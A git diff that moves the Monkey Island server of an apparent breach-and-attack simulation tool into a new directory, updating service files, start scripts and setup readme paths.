--- a/monkey_island/linux/ubuntu/monkey-island.conf
+++ b/monkey/monkey_island/linux/ubuntu/monkey-island.conf
@@ -7,8 +7,8 @@ respawn
respawn limit unlimited
script
- chdir /var/monkey_island/cc
- exec python main.py
+ chdir /var/monkey
+ exec python monkey_island/cc/main.py
end script
post-stop script
diff --git a/monkey_island/linux/ubuntu/monkey-mongo.conf b/monkey/monkey_island/linux/ubuntu/monkey-mongo.conf
similarity index 67%
rename from monkey_island/linux/ubuntu/monkey-mongo.conf
rename to monkey/monkey_island/linux/ubuntu/monkey-mongo.conf
index df9145014..cd148d877 100644
--- a/monkey_island/linux/ubuntu/monkey-mongo.conf
+++ b/monkey/monkey_island/linux/ubuntu/monkey-mongo.conf
@@ -7,8 +7,8 @@ respawn
respawn limit unlimited
script
- chdir /var/monkey_island/
- exec /var/monkey_island/bin/mongodb/bin/mongod --dbpath db
+ chdir /var/monkey/monkey_island/
+ exec /var/monkey/monkey_island/bin/mongodb/bin/mongod --dbpath db
end script
post-stop script
diff --git a/monkey_island/linux/ubuntu/systemd/monkey-island.service b/monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service
similarity index 56%
rename from monkey_island/linux/ubuntu/systemd/monkey-island.service
rename to monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service
index 8868dc3aa..d66de2377 100644
--- a/monkey_island/linux/ubuntu/systemd/monkey-island.service
+++ b/monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service
@@ -5,7 +5,7 @@ After=network.target
[Service]
Type=simple
-ExecStart=/var/monkey_island/ubuntu/systemd/start_server.sh
+ExecStart=/var/monkey/monkey_island/ubuntu/systemd/start_server.sh
[Install]
WantedBy=multi-user.target
\ No newline at end of file
diff --git a/monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service b/monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service
new file mode 100644
index 000000000..b786e0abb
--- /dev/null
+++ b/monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service
@@ -0,0 +1,12 @@
+[Unit]
+Description=Monkey Island Mongo Service
+After=network.target
+
+[Service]
+ExecStart=/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db
+KillMode=process
+Restart=always
+ExecStop=/var/monkey/monkey_island/bin/mongodb/bin/mongod --shutdown
+
+[Install]
+WantedBy=multi-user.target
\ No newline at end of file
diff --git a/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh b/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh
new file mode 100644
index 000000000..978e02fe5
--- /dev/null
+++ b/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh
@@ -0,0 +1,4 @@
+#!/bin/bash
+
+cd /var/monkey
+/var/monkey/monkey_island/bin/python/bin/python monkey_island.py
\ No newline at end of file
diff --git a/monkey_island/readme.txt b/monkey/monkey_island/readme.txt
similarity index 93%
rename from monkey_island/readme.txt
rename to monkey/monkey_island/readme.txt
index 320f5caa3..82deb43b6 100644
--- a/monkey_island/readme.txt
+++ b/monkey/monkey_island/readme.txt
@@ -1,6 +1,7 @@
How to set up the Monkey Island server:
---------------- On Windows ----------------:
+0. Exclude the folder you are planning to install the Monkey in from your AV software, as it might block or delete files from the installation.
1. Create folder "bin" under monkey_island
2. Place portable version of Python 2.7
2.1. Download and install from: https://www.python.org/download/releases/2.7/
@@ -11,8 +12,9 @@ How to set up the Monkey Island server:
3. Place portable version of mongodb
3.1. Download from: https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip
3.2. Extract contents from bin folder to monkey_island\bin\mongodb.
+ 3.3. Create monkey_island\db folder.
4. Place portable version of OpenSSL
- 4.1. Download from: https://indy.fulgan.com/SSL/openssl-1.0.2l-i386-win32.zip
+ 4.1. Download from: https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip
4.2. Extract content from bin folder to monkey_island\bin\openssl
5. Download and install Microsoft Visual C++ redistributable for Visual Studio 2017
5.1. Download and install from: https://go.microsoft.com/fwlink/?LinkId=746572
diff --git a/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt
similarity index 100%
rename from monkey_island/requirements.txt
rename to monkey/monkey_island/requirements.txt
diff --git a/monkey_island/windows/clear_db.bat b/monkey/monkey_island/windows/clear_db.bat
similarity index 100%
rename from monkey_island/windows/clear_db.bat
rename to monkey/monkey_island/windows/clear_db.bat
diff --git a/monkey_island/windows/copyShortcutOnDesktop.bat b/monkey/monkey_island/windows/copyShortcutOnDesktop.bat
similarity index 100%
rename from monkey_island/windows/copyShortcutOnDesktop.bat
rename to monkey/monkey_island/windows/copyShortcutOnDesktop.bat
diff --git a/monkey_island/windows/create_certificate.bat b/monkey/monkey_island/windows/create_certificate.bat
similarity index 100%
rename from monkey_island/windows/create_certificate.bat
rename to monkey/monkey_island/windows/create_certificate.bat
diff --git a/monkey_island/windows/openssl.cfg b/monkey/monkey_island/windows/openssl.cfg
similarity index 100%
rename from monkey_island/windows/openssl.cfg
rename to monkey/monkey_island/windows/openssl.cfg
diff --git a/monkey_island/windows/removeShortcutFromDesktop.bat b/monkey/monkey_island/windows/removeShortcutFromDesktop.bat
similarity index 100%
rename from monkey_island/windows/removeShortcutFromDesktop.bat
rename to monkey/monkey_island/windows/removeShortcutFromDesktop.bat
diff --git a/monkey/monkey_island/windows/run_cc.bat b/monkey/monkey_island/windows/run_cc.bat
new file mode 100644
index 000000000..e86b5a145
--- /dev/null
+++ b/monkey/monkey_island/windows/run_cc.bat
@@ -0,0 +1,4 @@
+@title C^&C Server
+@pushd ..
+@monkey_island\bin\Python27\python monkey_island.py
+@popd
\ No newline at end of file
diff --git a/monkey_island/windows/run_mongodb.bat b/monkey/monkey_island/windows/run_mongodb.bat
similarity index 100%
rename from monkey_island/windows/run_mongodb.bat
rename to monkey/monkey_island/windows/run_mongodb.bat
diff --git a/monkey_island/windows/run_server.bat b/monkey/monkey_island/windows/run_server.bat
similarity index 100%
rename from monkey_island/windows/run_server.bat
rename to monkey/monkey_island/windows/run_server.bat
diff --git a/monkey_island/deb-package/DEBIAN/postinst b/monkey_island/deb-package/DEBIAN/postinst
deleted file mode 100644
index 3fa922a01..000000000
--- a/monkey_island/deb-package/DEBIAN/postinst
+++ /dev/null
@@ -1,37 +0,0 @@
-#!/bin/bash
-
-MONKEY_FOLDER=/var/monkey_island
-INSTALLATION_FOLDER=/var/monkey_island/installation
-PYTHON_FOLDER=/var/monkey_island/bin/python
-
-cp -f ${MONKEY_FOLDER}/monkey.sh /usr/bin/monkey
-chmod 755 /usr/bin/monkey
-
-# Prepare python virtualenv
-pip2 install virtualenv --no-index --find-links file://$INSTALLATION_FOLDER
-virtualenv -p python2.7 ${PYTHON_FOLDER}
-
-# install pip requirements
-${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/pip_requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER
-
-# remove installation folder and unnecessary files
-rm -rf ${INSTALLATION_FOLDER}
-rm -f ${MONKEY_FOLDER}/pip_requirements.txt
-
-cp ${MONKEY_FOLDER}/ubuntu/* /etc/init/
-if [ -d "/etc/systemd/network" ]; then
- cp ${MONKEY_FOLDER}/ubuntu/systemd/*.service /lib/systemd/system/
- chmod +x ${MONKEY_FOLDER}/ubuntu/systemd/start_server.sh
- systemctl daemon-reload
- systemctl enable monkey-mongo
- systemctl enable monkey-island
-fi
-
-${MONKEY_FOLDER}/create_certificate.sh
-
-service monkey-island start
-service monkey-mongo start
-
-echo Monkey Island installation ended
-
-exit 0
\ No newline at end of file
diff --git a/monkey_island/linux/run.sh b/monkey_island/linux/run.sh
deleted file mode 100644
index 485d6eff1..000000000
--- a/monkey_island/linux/run.sh
+++ /dev/null
@@ -1,5 +0,0 @@
-#!/bin/bash
-
-cd /var/monkey_island/cc
-/var/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey_island/db &
-/var/monkey_island/bin/python/bin/python main.py
\ No newline at end of file
diff --git a/monkey_island/linux/ubuntu/systemd/monkey-mongo.service b/monkey_island/linux/ubuntu/systemd/monkey-mongo.service
deleted file mode 100644
index 6c1fee8f8..000000000
--- a/monkey_island/linux/ubuntu/systemd/monkey-mongo.service
+++ /dev/null
@@ -1,12 +0,0 @@
-[Unit]
-Description=Monkey Island Mongo Service
-After=network.target
-
-[Service]
-ExecStart=/var/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey_island/db
-KillMode=process
-Restart=always
-ExecStop=/var/monkey_island/bin/mongodb/bin/mongod --shutdown
-
-[Install]
-WantedBy=multi-user.target
\ No newline at end of file
diff --git a/monkey_island/linux/ubuntu/systemd/start_server.sh b/monkey_island/linux/ubuntu/systemd/start_server.sh
deleted file mode 100644
index ceeab57f4..000000000
--- a/monkey_island/linux/ubuntu/systemd/start_server.sh
+++ /dev/null
@@ -1,4 +0,0 @@
-#!/bin/bash
-
-cd /var/monkey_island/cc
-/var/monkey_island/bin/python/bin/python main.py
\ No newline at end of file
diff --git a/monkey_island/windows/run_cc.bat b/monkey_island/windows/run_cc.bat
deleted file mode 100644
index c16c9fc6b..000000000
--- a/monkey_island/windows/run_cc.bat
+++ /dev/null
@@ -1,4 +0,0 @@
-@title C^&C Server
-@pushd cc
-@..\bin\Python27\python main.py
-@popd
\ No newline at end of file